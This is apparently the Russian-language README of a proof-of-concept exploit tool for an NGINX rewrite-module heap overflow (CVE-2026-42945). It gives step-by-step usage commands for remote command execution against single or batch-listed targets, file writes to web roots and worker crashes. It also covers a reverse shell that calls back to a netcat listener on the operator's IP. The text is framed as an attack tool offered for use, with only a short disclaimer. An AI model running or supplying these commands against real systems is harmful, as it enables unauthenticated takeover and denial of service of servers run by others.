Эксплойт NGINX Rift RCE (CVE-2026-42945) от @DepthFirstDisclosures
Профессиональный инструмент Proof-of-Concept (PoC) для исследования и идентификации уязвимости NGINX Rift — критического переполнения буфера в куче в модуле ngx_http_rewrite_module.
Обзор уязвимости
- Идентификатор CVE: CVE-2026-42945
- Псевдоним: NGINX Rift
- Серьёзность: критическая (CVSS 9.2)
- Затронутые версии: NGINX с 0.6.27 по 1.30.0
- Корневая причина: ошибка несоответствия размеров в двухпроходном движке перезаписи при использовании безымянных захватов PCRE ($1, $2) и строк замены, содержащих ?.
- Воздействие: неаутентифицированное удаленное выполнение кода (RCE) или отказ в обслуживании (DoS).
Возможности
- Поддержка нескольких режимов: тестирование одного URL или пакетного списка из файла .txt.
- Несколько методов эксплуатации:
- id: выполнить команду id (по умолчанию).
- sleep: проверка на основе времени (идеально для слепого RCE).
- write: попытка записи файла в стандартные корневые каталоги веб-сервера.
- shell: отправка reverse shell на основе Python.
- crash: вызов простого сбоя рабочего процесса (DoS).
- Цветовая индикация: понятные визуальные маркеры для уязвимого (зеленый), безопасного (красный) и отладочного (желтый/синий) состояний.
- Подробное логирование: детальное взаимодействие на уровне сокетов для исследователей.
Использование
1. Сканирование одной цели
python3 poc.py --url http://target.com --method id
2. Пакетное сканирование нескольких целей
Создайте файл targets.txt с одним URL в каждой строке:
http://1.2.3.4
https://docs.company.com
http://server.internal:8080
Затем выполните:
python3 poc.py --list targets.txt --method sleep
3. Пользовательские команды и подробный режим
python3 poc.py --url http://target.com --cmd "whoami" --verbose
4. Реверс-шелл
Сначала запустите ваш слушатель: nc -lvp 1337
python3 poc.py --url http://target.com --method shell --listen-ip [YOUR_IP] --listen-port 1337
Понимание результатов
- [+] УЯЗВИМ (зеленый): эксплойт вызвал сигнатуру повреждения памяти. Если использовался метод sleep, проверьте, соответствует ли время ответа длительности сна.
- [-] Цель не уязвима (красный): эксплойту не удалось вызвать сбой с использованием предложенных кандидатов памяти.
- [DEBUG] (желтый/синий): фоновая информация о распылении кучи и адресах-кандидатах.
Требования и ограничения
- Python 3.x: внешние библиотеки не требуются (используются стандартные socket и argparse).
- ASLR: этот PoC использует статические адреса памяти. В системах с включенным ASLR эксплойт, скорее всего, приведет к отказу в обслуживании (DoS), а не к RCE, если только не была предоставлена утечка памяти.
- Усиление защиты: фильтрация исходящего трафика (межсетевые экраны) может помешать методам curl или shell отправлять данные обратно вам. Для наиболее надежного подтверждения используйте метод sleep.
Отказ от ответственности
Этот инструмент предназначен только для образовательных целей и авторизованного аудита безопасности. Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный этим скриптом. Всегда получайте явное разрешение перед тестированием любой инфраструктуры.